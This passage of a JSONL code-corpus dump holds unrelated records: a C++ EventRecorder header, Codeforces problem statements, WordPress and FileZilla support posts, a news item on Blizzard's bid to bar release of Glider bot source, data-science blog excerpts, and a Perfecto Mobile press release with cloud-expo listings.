*eventFile);\n\n    virtual void redisplay(double t, double dt);\n\n    virtual void reshape(int x, int y);\n\n    virtual void idle(bool damaged);\n\n    virtual bool mouseClick(button b, state s, modifier m, int x, int y);\n\n    virtual bool mouseMotion(int x, int y);\n\n    virtual bool mousePassiveMotion(int x, int y);\n\n    virtual bool mouseWheel(wheel b, modifier m, int x, int y);\n\n    virtual bool keyTyped(unsigned char c, modifier m, int x, int y);\n\n    virtual bool keyReleased(unsigned char c, modifier m, int x, int y);\n\n    virtual bool specialKey(key k, modifier m, int x, int y);\n\n    virtual bool specialKeyReleased(key k, modifier m, int x, int y);\n\nprotected:\n    /**\n     * The object used to save/restore the framerate and the scene state.\n     */\n    Recordable *r;\n\n    /**\n     * Creates an uninitialized EventRecorder.\n     */\n    EventRecorder();\n\n    /**\n     * Initializes this EventRecorder.\n     * See #EventRecorder.\n     */\n    void init(const char *eventFile, bool autoSave, const char *frames, ptr<Program> cursorProg, ptr<Texture2D> cursor, ptr<EventHandler> next);\n\n    /**\n     * Returns the used to save/restore the framerate and the scene state.\n     */\n    virtual Recordable *getRecorded() = 0;\n\n    void swap(ptr<EventRecorder> eventRecorder);\n\nprivate:\n    /**\n     * The name of a file containing stored events to be replayed, or NULL.\n     */\n    const char *eventFile;\n\n    /**\n     * True to save events in a temporary file at each mouse click and key\n     * typed event (useful for saving events if scenario leads to a crash).\n     */\n    bool autoSave;\n\n    /**\n     * The file name format to be used to save the video frames.\n     */\n    const char *frames;\n\n    /**\n     * The width of the cursor texture #cursor.\n     */\n    int cursW;\n\n    /**\n     * The height of the cursor texture #cursor.\n     */\n    int cursH;\n\n    /**\n     * The GLSL program used to draw the cursor on replaying videos.\n     */\n    ptr<Program> cursorProg;\n\n    /**\n     * The cursor RGBA texture pixels.\n     */\n    ptr<Texture2D> cursor;\n\n    /**\n     * The cursor texture sampler.\n     */\n    ptr<UniformSampler> cursorSamplerU;\n\n    /**\n     * Rescaling factor used to draw the cursor on the screen.\n     */\n    ptr<Uniform4f> rescaleU;\n\n    /**\n     * Rescaling factor used to draw the cursor on the screen.\n     */\n    ptr<Uniform3f> correctU;\n\n    /**\n     * True if this EventHandler is currently recording events.\n     */\n    bool isRecording;\n\n    /**\n     * True if this EventHandler is currently replaying events.\n     */\n    bool isPlaying;\n\n    /**\n     * True if a video must be saved during replaying.\n     */\n    bool saveVideo;\n\n    /**\n     * The index of the recorded event corresponding to the last saved video\n     * frame.\n     */\n    int lastSavedEvent;\n\n    /**\n     * The index of the last saved video frame.\n     */\n    int lastSavedFrame;\n\n    /**\n     * The x cursor position of the last replayed mouse event.\n     */\n    int savedX;\n\n    /**\n     * The x cursor position of the last replayed mouse event.\n     */\n    int savedY;\n\n    /**\n     * The index of the last replayed event.\n     */\n    unsigned int lastPlayed;\n\n    /**\n     * The recorded events.\n     */\n    vector<Event> recordedEvents;\n\n    /**\n     * The EventHandler that must handle the events recorded and replayed by\n     * this EventRecorder.\n     */\n    ptr<EventHandler> next;\n\n    /**\n     * Saves the framebuffer content to the given TGA file.\n     *\n     * @param tga a TGA file name.\n     */\n    void saveFrame(char *tga);\n\n    /**\n     * Saves the recorded events to a temporary file if #autoSave is true.\n     */\n    void saveEvents();\n};\n\n}\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 2403, "token_count_with_eod": 2404, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Little Petya is preparing for the first contact with aliens. He knows that alien spaceships have shapes of non-degenerate triangles and there will be exactly 4 ships. Landing platform for a ship can be made of 3 special columns located at some points of a Cartesian plane such that these 3 points form a triangle equal to the ship with respect to rotations, translations (parallel shifts along some vector) and reflections (symmetries along the edges). The ships can overlap after the landing.\n\nEach column can be used to land more than one ship, for example, if there are two equal ships, we don't need to build 6 columns to land both ships, 3 will be enough. Petya wants to know what minimum number of columns will be enough to land all ships.", "source": "cpt_codeforces", "language": "en", "token_count": 162, "token_count_with_eod": 163, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I am trying to update a User’s Repeater Sub Field ( Multisite ) and it does update but not right!\nAfter some tests am pretty sure that the get_sub_field does not retrieve the value from the sub field! Do you have any idea?\nSee screenshot below:\n—- Versions —-\nWP vVersion 4.5.3\nMy update_sub_field( ‘field_57a98696be65f’,10); // is working when I test with a constant! But the get_sub_field(‘value’) always returns 0!\nCould you please debug the value like this:\n$repeater_value = get_field('bravo_categories', 'user_'.$user->ID);\nAlso, could you please try to reproduce the issue on one of the WordPress’ stock themes (like Twenty Sixteen) with other plugins deactivated? If it disappears, then you can activate the theme and plugins one by one to see which one causes the issue.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 206, "token_count_with_eod": 207, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I solve business problems with software.\nOver the past 15 years I have risked significant personal wealth to work on multiple startups. My unique experience allows me to understand a human desire, design a product that satisfies that need - then build and deploy it single-handedly from concept to scale. Sometimes I write about it.\nProducts I built:\n- 2007-2011 Rhythm Music Store: online music store / record label that that sold 80k MP3s online.\n- MyNames: an API to register .CO.ZA domains and provision nameservers. Stack: Python, AngularJS.\n- Krit.com: a mobile customer feedback tool that used geolocation and SMS to bridge the gap between customers and retail managers\n- 2007-2016: iFix (now weFix) Repair Management System tracks 500k repairs and millions in revenues at 36+ branches. Acquired by weFix.\n- ...several others.\nThere are more. Happy to delve into technical details.\nGood with people and recruiting.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 230, "token_count_with_eod": 231, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Let's build a cluster\nLet's Build A Swarm.\nWhile there is a rich ecosystem of cluster-aware orchestration solutions in the Docker universe, Docker Engine 1.12 takes the game one step further and ships with a built-in cluster-aware, decentralized orchestration engine called Swarm mode (not to be confused with the standalone Docker Swarm product). This talk will elaborate on the architecture behind Swarm mode as well as common usage scenarios and will conclude with a demo how to set up and utilize a Swarm mode cluster for running and scaling a small sample application.\nAbout the speaker:\nThilo-Alexander Ginkel has had a passion for developing software for more than half of his life. He is working as a freelance software developer, DevOps engineer and architect where his projects frequently get him in touch with the strange new world of Docker containers.\nHuge thanks to Protonet (https://protonet.com/de/) for the Location and the drinks.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 195, "token_count_with_eod": 196, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Blizzard Asks Judge to Forbid Open Source\nNow that I've got your attention, don't worry too much: Blizzard Entertainment, the company behind the popular World of Warcraft online game, isn't trying to shut down open source software entirely. But in a recent legal filing (reported by the Virtually Blind weblog), they are asking a judge to take an unusual move: prohibiting a developer from releasing a particular bit of code as open source. Read on for the details.\nHere's the backstory: last year a company named MDY Industries filed a suit against Blizzard seeking to have MDY's product Glider declared legal. Glider is a World of Warcraft bot - that is, a program that will automatically play the game for you. Blizzard doesn't like bots, bans them, and wants them out of the game.\nUnfortunately, this strategy backfired for MDY: the US District Court ruled in favor of a summary judgment motion on Blizzard's part, and found that MDYwas guilty of copyright violation and tortious interference with Blizzard's business. The case is still in litigation, but the main question now is the size of the damages (or whether MDY can win on appeal, of course).\nBlizzard has followed up to their summary judgment with another filing asking for some permanent injunctions, and this is where open source comes in. Along with asking the judge to shut down MDY's servers, forbid further development of the application, and forbid them from helping other bot developers, Blizzard is asking for one more thing:\nthe injunction should preclude MDY from releasing the Glider source code to third parties, especially those located abroad and over whom it may be difficult or impossible to gain jurisdiction in the United States.... Some Glider users have suggested on internet forums that MDY provide the Glider source code as \"open source\" software - free for use.\nPutting aside the confusion between \"free\" and \"open source,\" this would at the very least be an unusual remedy. It also shows that there are still edge cases where the ideals of the free software movement (which is certainly a part of the open source movement) bumps up against the legal system. On the one hand, the very existence of licenses like the GPL depends on copyright law. On the other, forbidding the release of code as being too dangerous to a copyright seems like an overstepping bit of prior restraint. However the court rules, though, there's likely to be some precedent here that open source advocates will need to be aware of.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 514, "token_count_with_eod": 515, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "SmallR is a biologist. Her latest research finding is how to change the sex of dogs. In other words, she can change female dogs into male dogs and vice versa.\n\nShe is going to demonstrate this technique. Now SmallR has n dogs, the costs of each dog's change may be different. The dogs are numbered from 1 to n. The cost of change for dog i is vi RMB. By the way, this technique needs a kind of medicine which can be valid for only one day. So the experiment should be taken in one day and each dog can be changed at most once.\n\nThis experiment has aroused extensive attention from all sectors of society. There are m rich folks which are suspicious of this experiment. They all want to bet with SmallR forcibly. If SmallR succeeds, the i-th rich folk will pay SmallR wi RMB. But it's strange that they have a special method to determine whether SmallR succeeds. For i-th rich folk, in advance, he will appoint certain ki dogs and certain one gender. He will think SmallR succeeds if and only if on some day the ki appointed dogs are all of the appointed gender. Otherwise, he will think SmallR fails.\n\nIf SmallR can't satisfy some folk that isn't her friend, she need not pay him, but if someone she can't satisfy is her good friend, she must pay g RMB to him as apologies for her fail.\n\nThen, SmallR hope to acquire money as much as possible by this experiment. Please figure out the maximum money SmallR can acquire. By the way, it is possible that she can't obtain any money, even will lose money. Then, please give out the minimum money she should lose.", "source": "cpt_codeforces", "language": "en", "token_count": 353, "token_count_with_eod": 354, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Dreamoon has a string s and a pattern string p. He first removes exactly x characters from s obtaining string s' as a result. Then he calculates $$\\mathsf{occ}(s',p)$$ that is defined as the maximal number of non-overlapping substrings equal to p that can be found in s'. He wants to make this number as big as possible.\n\nMore formally, let's define $$\\operatorname{ans}(x)$$ as maximum value of $$\\mathsf{occ}(s',p)$$ over all s' that can be obtained by removing exactly x characters from s. Dreamoon wants to know $$\\operatorname{ans}(x)$$ for all x from 0 to |s| where |s| denotes the length of string s.", "source": "cpt_codeforces", "language": "en", "token_count": 162, "token_count_with_eod": 163, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Ancient Egyptians are known to have understood difficult concepts in mathematics. The ancient Egyptian mathematician Ahmes liked to write a kind of arithmetic expressions on papyrus paper which he called as Ahmes arithmetic expression.\n\nAn Ahmes arithmetic expression can be defined as:\n\n- \"d\" is an Ahmes arithmetic expression, where d is a one-digit positive integer;\n- \"(E1 op E2)\" is an Ahmes arithmetic expression, where E1 and E2 are valid Ahmes arithmetic expressions (without spaces) and op is either plus ( + ) or minus ( - ).\n\nOn his trip to Egypt, Fafa found a piece of papyrus paper having one of these Ahmes arithmetic expressions written on it. Being very ancient, the papyrus piece was very worn out. As a result, all the operators were erased, keeping only the numbers and the brackets. Since Fafa loves mathematics, he decided to challenge himself with the following task:\n\nGiven the number of plus and minus operators in the original expression, find out the maximum possible value for the expression on the papyrus paper after putting the plus and minus operators in the place of the original erased operators.", "source": "cpt_codeforces", "language": "en", "token_count": 249, "token_count_with_eod": 250, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "MVC is a way of organizing an applications code base so that the data (model) and the presentation (view) layers are abstracted away from the logic (controller). Most how-to guides will typically use a web development example when explaining the MVC architecture.\nModel refers to the data model and how it is updated. (Typically it is a wrapper around a database). For example, a person model would be a class with the variables first name, last name, age, etc and would include methods for getting and setting these components (as well as saving the data back to the database).\nA View is how the data is displayed to the user. In Pythonista, this refers to the UI portion of the app (whether coded or build using the UI editor).\nThe Controllers handle event requests, contain the logic of the application, and determine how the models work together to make the application run, which in turn calls the views to display the data to the user.\nI found an interesting link that tries to explain the concept of MVC using legos if that helps.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Maths and statistics are powerful tools in the world of data science. Math and Statistics are essential because these two fields form the basics of all the machine learning algorithms. And in order to succeed as a Data Scientist, you must know your basics.\nStatistics is the use of maths to perform technical analysis on the data to gain meaningful insights. With statistics, we can operate on the data in an information-driven and targeted manner.\nSo, how is data science different from statistics? While the fields are closely related in the sense that both data scientists and statisticians aim to…\nAn activation function is an internal state of a neuron that converts an input signal to an output signal.\nBasically, a neuron calculates the weighted sum of its inputs, adds the bias, and then inputs the values to the activation function which decides whether it should spit an output or not. Activation functions provide non-linear properties to the neural network. Without the activation function, the output values from the neurons can range between (- infinity) to (+infinity).\nWe are all aware of feature scaling and why it’s done. Feature scaling is performed during data pre-processing and is done to normalize/standardize…\nPolynomial Regression | Data Science | Machine Learning\nIn this article we will learn what is Bayesian Information Criterion (BIC) and how it is used to choose the degree of a polynomial in a Polynomial Regression.\nSometimes R2 values vary slightly across two different degrees of polynomials. i.e. comparing a R2 score = 88.3% to R2 score = 88.4%. Also, how do we know which is better. R2=88% or R2=90% ?\nLet’s study this by creating some dummy data:\nLet’s fit the model with Ordinary Least Square (OLS). This package provides detailed stats summary like AIC, BIC etc.\nIf you fail to plan, you plan to fail. Every project requires planning. Building a machine learning model is no different. In this article, we will learn how to plan your data mining activities and what are the steps you should perform during Exploratory Data Analysis (EDA). This article is not a ‘how-to’ guide but a reference checklist for data analytics professionals. It will provide you with a list of considerations when building a machine learning model.\nWe have all heard about CRISP-DM: Cross Industry Standard Process for Data Mining. …\nSimple linear regression suffers from two major flaws:\nOne way to tackle these issues is by increasing the model complexity. Model complexity can be increased by using Decision trees and Polynomial regression to represent non-linear relationships.\nThese algorithms are also prone to overfitting due to increasing complexity. Therefore, in order to represent non-linear functions without overfitting we make use of regularization techniques.\nRegularization techniques are used to calibrate the linear/non-linear regression models in order to minimize the adjusted loss function and prevent overfitting.\nAdvances in smart assistants like Alexa and Google have brought remarkable convenience into our day to day lives. e.g. seeking a quick weather report, translating languages, listening to world news, and today you can also send virtual hugs to your Alexa contacts. With recent Artificial Intelligence (AI) breakthroughs like AlphaGo, IBM Watson, self-driving cars, and many more, the concern of AI taking over our jobs is real.\nIn this article we will find answers to the following questions:\nHistory: The letter ‘Z’ in z-score stands for Zeta (6th letter of the Greek alphabet) which comes from the Zeta Model that was originally developed by Edward Altman to estimate the chances of a public company going bankrupt. Z-scores exist in zones of probability, which indicates the likelihood of a public company going bankrupt.\nNormalization vs Standardization\nIn this article we will discover answers to the following questions:\nFirst things first, let’s hit up an analogy and try to understand why we need feature scaling. Consider building a ML model similar to making a smoothie. And this time you are making a strawberry-banana smoothie. Now, you have to carefully mix strawberries and bananas to make the smoothie taste good. If you just mix one…\nIf you are reading this, I am assuming you already know what encoding means. Nevertheless, I’ll give a brief intro for those who are new to data science.\nNote — Throughout this article, the terms; features, columns and variables have been used interchangeably.\nData is classified as below:\n1. What is Categorical Encoding and why do you need it?\nFor some Machine Learning algorithms, whenever you have categorical data, you have to convert it to numerical type. The reason you convert categorical columns to numerical is so that the machine learning algorithm is able to understand and process it. …\nMachine Learning is an art of teaching computers or letting them learn patterns from the data. This is often done because it helps in making informed decisions and sometimes accurate predictions. I promise that’ all the definition you’ll have in this article.\nAlways remember, if you can hit upon an analogy of what the unknown concept is like, you are half way there. The rest is to practice explaining to a 6 year old. So let’s take an easy example to understand ML:\nLet’s say a baby panda while playing in the forest sees a burning bright…", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1095, "token_count_with_eod": 1096, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Here is a 6x6 pastel of Central California. This was a day of mighty clouds that towered over the land. Fun to observe and wonder how to paint. I find clouds somewhat tricky with their bellowing shapes and values. I will keep at it and hopefully get to where I can paint them on a larger surface with confidence.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 70, "token_count_with_eod": 71, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A famous sculptor Cicasso goes to a world tour!\n\nWell, it is not actually a world-wide. But not everyone should have the opportunity to see works of sculptor, shouldn't he? Otherwise there will be no any exclusivity. So Cicasso will entirely hold the world tour in his native country — Berland.\n\nCicasso is very devoted to his work and he wants to be distracted as little as possible. Therefore he will visit only four cities. These cities will be different, so no one could think that he has \"favourites\". Of course, to save money, he will chose the shortest paths between these cities. But as you have probably guessed, Cicasso is a weird person. Although he doesn't like to organize exhibitions, he likes to travel around the country and enjoy its scenery. So he wants the total distance which he will travel to be as large as possible. However, the sculptor is bad in planning, so he asks you for help.\n\nThere are n cities and m one-way roads in Berland. You have to choose four different cities, which Cicasso will visit and also determine the order in which he will visit them. So that the total distance he will travel, if he visits cities in your order, starting from the first city in your list, and ending in the last, choosing each time the shortest route between a pair of cities — will be the largest.\n\nNote that intermediate routes may pass through the cities, which are assigned to the tour, as well as pass twice through the same city. For example, the tour can look like that: $$\\overline { 1 }, 2, 3, 4, \\overline { 5 }, 4, 3, \\overline { 2 }, 3, \\overline { 4 }$$. Four cities in the order of visiting marked as overlines: [1, 5, 2, 4].\n\nNote that Berland is a high-tech country. So using nanotechnologies all roads were altered so that they have the same length. For the same reason moving using regular cars is not very popular in the country, and it can happen that there are such pairs of cities, one of which generally can not be reached by car from the other one. However, Cicasso is very conservative and cannot travel without the car. Choose cities so that the sculptor can make the tour using only the automobile. It is guaranteed that it is always possible to do.", "source": "cpt_codeforces", "language": "en", "token_count": 511, "token_count_with_eod": 512, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "//\n//  QMTVReusableView.h\n//  SmallAutoLayout_Example\n//\n//  Created by 李阳 on 4/2/2018.\n//  Copyright © 2018 BetrayalPromise. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n@interface HoverReusableView : UICollectionReusableView\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 82, "token_count_with_eod": 83, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Bessie has way too many friends because she is everyone's favorite cow! Her new friend Rabbit is trying to hop over so they can play!\n\nMore specifically, he wants to get from $$$(0,0)$$$ to $$$(x,0)$$$ by making multiple hops. He is only willing to hop from one point to another point on the 2D plane if the Euclidean distance between the endpoints of a hop is one of its $$$n$$$ favorite numbers: $$$a_1, a_2, \\ldots, a_n$$$. What is the minimum number of hops Rabbit needs to get from $$$(0,0)$$$ to $$$(x,0)$$$? Rabbit may land on points with non-integer coordinates. It can be proved that Rabbit can always reach his destination.\n\nRecall that the Euclidean distance between points $$$(x_i, y_i)$$$ and $$$(x_j, y_j)$$$ is $$$\\sqrt{(x_i-x_j)^2+(y_i-y_j)^2}$$$.\n\nFor example, if Rabbit has favorite numbers $$$1$$$ and $$$3$$$ he could hop from $$$(0,0)$$$ to $$$(4,0)$$$ in two hops as shown below. Note that there also exists other valid ways to hop to $$$(4,0)$$$ in $$$2$$$ hops (e.g. $$$(0,0)$$$ $$$\\rightarrow$$$ $$$(2,-\\sqrt{5})$$$ $$$\\rightarrow$$$ $$$(4,0)$$$).\n\nHere is a graphic for the first example. Both hops have distance $$$3$$$, one of Rabbit's favorite numbers.\n\nIn other words, each time Rabbit chooses some number $$$a_i$$$ and hops with distance equal to $$$a_i$$$ in any direction he wants. The same number can be used multiple times.", "source": "cpt_codeforces", "language": "en", "token_count": 383, "token_count_with_eod": 384, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You have a weighted tree, consisting of n vertices. Each vertex is either painted black or is painted red. A red and black tree is called beautiful, if for any its vertex we can find a black vertex at distance at most x.\n\nThe distance between two nodes is the shortest path between them.\n\nYou have a red and black tree. Your task is to make it beautiful in the minimum number of color swap operations. In one color swap operation, you can choose two vertices of different colors and paint each of them the other color. In other words, if you choose a red vertex p and a black vertex q, then in one operation you are allowed to paint p black and paint q red.\n\nPrint the minimum number of required actions.", "source": "cpt_codeforces", "language": "en", "token_count": 151, "token_count_with_eod": 152, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "We've verified that the organization techloset controls the domain:\nsurge automation demo\nMobile App course\nReact Native standard folder structure\nProgress indicators and spinners for React Native using ReactART\nThis organization has no public members. You must be a member to see who’s a part of this organization.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 63, "token_count_with_eod": 64, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I'm doing a gig for Corporate America, working in Cubeville Monday through Friday. After 9 years of working as an independent consultant, this has been a wake up call. If you have more than 5 employees, you might want to stay reading some Guy Kawasaki. Guy came out of Apple and is now a VC. Ten Things to Learn This School Year includes How to Survive a Boring Meeting, How to run a meeting, and How to survive without help. I have needed all of this because most meetings I stare at the window wondering if it would hold me if I tried to leap through it or I spend the whole time smiling (except that tends to peeve everyone in the room). Give it a gander - so at least you know what you are missing.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 158, "token_count_with_eod": 159, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Custom Query (8144 matches)\nResults (115 - 117 of 8144)\n|#8097||worksforme||Could Not Connect To Server|\nI sign into my Filezilla account just about every day to check on incoming work for my home business. Today, when I tried to login, I received the \"Could Not Connect To Server\" Error. This is how it looks:\nError: Could not connect to server Status: Waiting to retry... Status: Connecting to 18.104.22.168:21... Error: Connection timed out Trace: CFtpControlSocket::ResetOperation(2114) Trace: CControlSocket::ResetOperation(2114) Error: Could not connect to server\nIt is vital that I have filezilla up and running for my business. I have checked other tickets for problems connecting to the server and I cannot find the help I need. Please HELP!\n|#11570||duplicate||Selection of Multiple Files in FileZilla|\nWhen left mouse-click and dragging a marquee around multiple files the marquee \"jumps\" to the right cutting off the view of the file names on the left.\n|#7875||duplicate||Upper and lower case problems in FileZilla and OS X|\nI notices a huge bug in Filezilla 3.5.3 (and older) when using it on Mac OS X: If you edit two files with different capitalization FileZilla get's confused and in worst case it overwrites the wrong file.\nUnfortunately I can't reproduce how it overwrites the file but it clearly happens as my style.css and Style.css got messed up two times! And as you can see with the 4 steps I described there seems to be a problem somewhere.\nAFAIK the problem doesn't occur in Windows!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 397, "token_count_with_eod": 398, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You play a computer game. In this game, you lead a party of $$$m$$$ heroes, and you have to clear a dungeon with $$$n$$$ monsters. Each monster is characterized by its power $$$a_i$$$. Each hero is characterized by his power $$$p_i$$$ and endurance $$$s_i$$$.\n\nThe heroes clear the dungeon day by day. In the beginning of each day, you choose a hero (exactly one) who is going to enter the dungeon this day.\n\nWhen the hero enters the dungeon, he is challenged by the first monster which was not defeated during the previous days (so, if the heroes have already defeated $$$k$$$ monsters, the hero fights with the monster $$$k + 1$$$). When the hero fights the monster, there are two possible outcomes:\n\n- if the monster's power is strictly greater than the hero's power, the hero retreats from the dungeon. The current day ends;\n- otherwise, the monster is defeated.\n\nAfter defeating a monster, the hero either continues fighting with the next monster or leaves the dungeon. He leaves the dungeon either if he has already defeated the number of monsters equal to his endurance during this day (so, the $$$i$$$-th hero cannot defeat more than $$$s_i$$$ monsters during each day), or if all monsters are defeated — otherwise, he fights with the next monster. When the hero leaves the dungeon, the current day ends.\n\nYour goal is to defeat the last monster. What is the minimum number of days that you need to achieve your goal? Each day you have to use exactly one hero; it is possible that some heroes don't fight the monsters at all. Each hero can be used arbitrary number of times.", "source": "cpt_codeforces", "language": "en", "token_count": 351, "token_count_with_eod": 352, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "|By Business Wire||\n|July 7, 2014 09:16 AM EDT||\nPerfecto Mobile, provider of the MobileCloud™ Platform and integrated mobile application quality suite, today announced the launch of a new offering designed to provide integrated development and testing capabilities of mobile applications to Visual Studio and Microsoft Azure users. To celebrate the launch of this offering, new promotional offers are available for MSDN subscribers.\nPerfecto Mobile is working with Microsoft Corp. to bring support for C# test scripts to their platform, enabling developers in Visual Studio to write testing scripts in C# and execute across multiple devices managed by Perfecto Mobile. Perfecto Mobile has also provided seamless integration with Team Foundation Server and Visual Studio Online and is working on additional features, including integrating into the build process to automatically provision devices and run tests from a work item, publishing all test results back to Team Foundation Server or Visual Studio Online. This functionality is currently available to all users.\n“Moving at the speed of mobile poses numerous challenges to Dev/Test teams today, and pressure to improve an application’s velocity without impacting quality is only increasing as the mobile market matures,” said Melinda-Carol Ballou, Program Director, Application Life-Cycle Management & Executive Strategies, IDC. “Support for C# and Microsoft Team Foundation Server enables the extensive network of Microsoft developers to take advantage of the combined capabilities for mobile testing with Perfecto Mobile, leveraging synergy across products.”\nAdditionally, Windows Phone 8.1 is now fully supported by Perfecto Mobile, including several new Nokia Lumia phones running Windows Phone 8.1 that will be released in the coming months.\n“We are proud to work with Microsoft to deliver a widely available solution that provides the highest quality of business-critical mobile apps available,” said Eran Yaniv, CEO, Perfecto Mobile. “This joint offering enables enterprise developers and testers to quickly ramp up mobile activities in their existing visual studio environments, leverage existing investment in tools, people, knowledge and processes and all while meeting the release intervals needed to compete in today’s markets.”\n“Today's mobile-first development requires testing across many common devices used by consumers and businesses. To deliver high-quality mobile apps, teams need robust mobile testing solutions that address the complexities of multiplatform development in a fragmented mobile market,” said S. Somasegar, Corporate Vice President of Microsoft’s Developer Division. “We are excited to announce that these new offerings provide developers with greater access to integrated, familiar and effective mobile device testing features using Visual Studio, Team Foundation Server and Perfecto Mobile’s mobile application quality suite.”\nWith this offer, MSDN subscribers can access discounts for public cloud manual testing; details are available here. For Microsoft Azure users who are not MSDN subscribers, Perfecto Mobile will be available through the Microsoft Azure Store with discounts available now through the end of 2014.\nMore details about these offers and how to get started, please visit http://www.perfectomobile.com/Solutions/MobileCloud_TFS.\nAbout Perfecto Mobile\nPerfecto Mobile is transforming the way enterprise organizations go mobile, enabling them to develop, test, deploy and monitor their mobile applications and services and go-to-market with confidence. Perfecto Mobile’s cloud-based MobileCloud™ Platform and end-to-end mobile app quality product suite enables users to remotely access a large selection of real mobile devices connected to local cellular networks around the world and leverage them throughout the mobile application delivery lifecycle – from development, functional and performance testing to monitoring and support. The MobileCloud™ is available either in an enterprise private cloud or a sharable public cloud environment.\nMore than 1000 customers, including the top Fortune 100/500 across the banking, insurance, retail, telecommunications and media industries rely on Perfecto Mobile to optimize mobile time-to-market, customer engagement, risk mitigation and costs and continuously serve their mobile users with confidence.\nSYS-CON Events announced today that Loom Systems will exhibit at SYS-CON's 20th International Cloud Expo®, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY. Founded in 2015, Loom Systems delivers an advanced AI solution to predict and prevent problems in the digital business. Loom stands alone in the industry as an AI analysis platform requiring no prior math knowledge from operators, leveraging the existing staff to succeed in the digital era. With offices in S...\nMar. 23, 2017 08:15 PM EDT Reads: 603\nWith billions of sensors deployed worldwide, the amount of machine-generated data will soon exceed what our networks can handle. But consumers and businesses will expect seamless experiences and real-time responsiveness. What does this mean for IoT devices and the infrastructure that supports them? More of the data will need to be handled at - or closer to - the devices themselves.\nMar. 23, 2017 07:15 PM EDT Reads: 4,249\nDevOps is often described as a combination of technology and culture. Without both, DevOps isn't complete. However, applying the culture to outdated technology is a recipe for disaster; as response times grow and connections between teams are delayed by technology, the culture will die. A Nutanix Enterprise Cloud has many benefits that provide the needed base for a true DevOps paradigm.\nMar. 23, 2017 06:00 PM EDT Reads: 1,266\nMy team embarked on building a data lake for our sales and marketing data to better understand customer journeys. This required building a hybrid data pipeline to connect our cloud CRM with the new Hadoop Data Lake. One challenge is that IT was not in a position to provide support until we proved value and marketing did not have the experience, so we embarked on the journey ourselves within the product marketing team for our line of business within Progress. In his session at @BigDataExpo, Sum...\nMar. 23, 2017 04:15 PM EDT Reads: 2,428\nThe taxi industry never saw Uber coming. Startups are a threat to incumbents like never before, and a major enabler for startups is that they are instantly “cloud ready.” If innovation moves at the pace of IT, then your company is in trouble. Why? Because your data center will not keep up with frenetic pace AWS, Microsoft and Google are rolling out new capabilities In his session at 20th Cloud Expo, Don Browning, VP of Cloud Architecture at Turner, will posit that disruption is inevitable for c...\nMar. 23, 2017 03:45 PM EDT Reads: 1,738\nSYS-CON Events announced today that Telecom Reseller has been named “Media Sponsor” of SYS-CON's 20th International Cloud Expo, which will take place on June 6–8, 2017, at the Javits Center in New York City, NY. Telecom Reseller reports on Unified Communications, UCaaS, BPaaS for enterprise and SMBs. They report extensively on both customer premises based solutions such as IP-PBX as well as cloud based and hosted platforms.\nMar. 23, 2017 03:30 PM EDT Reads: 1,689\nSYS-CON Events announced today that Ocean9will exhibit at SYS-CON's 20th International Cloud Expo®, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY. Ocean9 provides cloud services for Backup, Disaster Recovery (DRaaS) and instant Innovation, and redefines enterprise infrastructure with its cloud native subscription offerings for mission critical SAP workloads.\nMar. 23, 2017 03:30 PM EDT Reads: 1,577\nProviding the needed data for application development and testing is a huge headache for most organizations. The problems are often the same across companies - speed, quality, cost, and control. Provisioning data can take days or weeks, every time a refresh is required. Using dummy data leads to quality problems. Creating physical copies of large data sets and sending them to distributed teams of developers eats up expensive storage and bandwidth resources. And, all of these copies proliferating...\nMar. 23, 2017 03:00 PM EDT Reads: 6,179\nIn recent years, containers have taken the world by storm. Companies of all sizes and industries have realized the massive benefits of containers, such as unprecedented mobility, higher hardware utilization, and increased flexibility and agility; however, many containers today are non-persistent. Containers without persistence miss out on many benefits, and in many cases simply pass the responsibility of persistence onto other infrastructure, adding additional complexity.\nMar. 23, 2017 02:30 PM EDT Reads: 4,068\nSYS-CON Events announced today that Cloudistics, an on-premises cloud computing company, has been named “Bronze Sponsor” of SYS-CON's 20th International Cloud Expo®, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY. Cloudistics delivers a complete public cloud experience with composable on-premises infrastructures to medium and large enterprises. Its software-defined technology natively converges network, storage, compute, virtualization, and management into a ...\nMar. 23, 2017 02:30 PM EDT Reads: 1,435\nDevOps is often described as a combination of technology and culture. Without both, DevOps isn't complete. However, applying the culture to outdated technology is a recipe for disaster; as response times grow and connections between teams are delayed by technology, the culture will die. A Nutanix Enterprise Cloud has many benefits that provide the needed base for a true DevOps paradigm. In his Day 3 Keynote at 20th Cloud Expo, Chris Brown, a Solutions 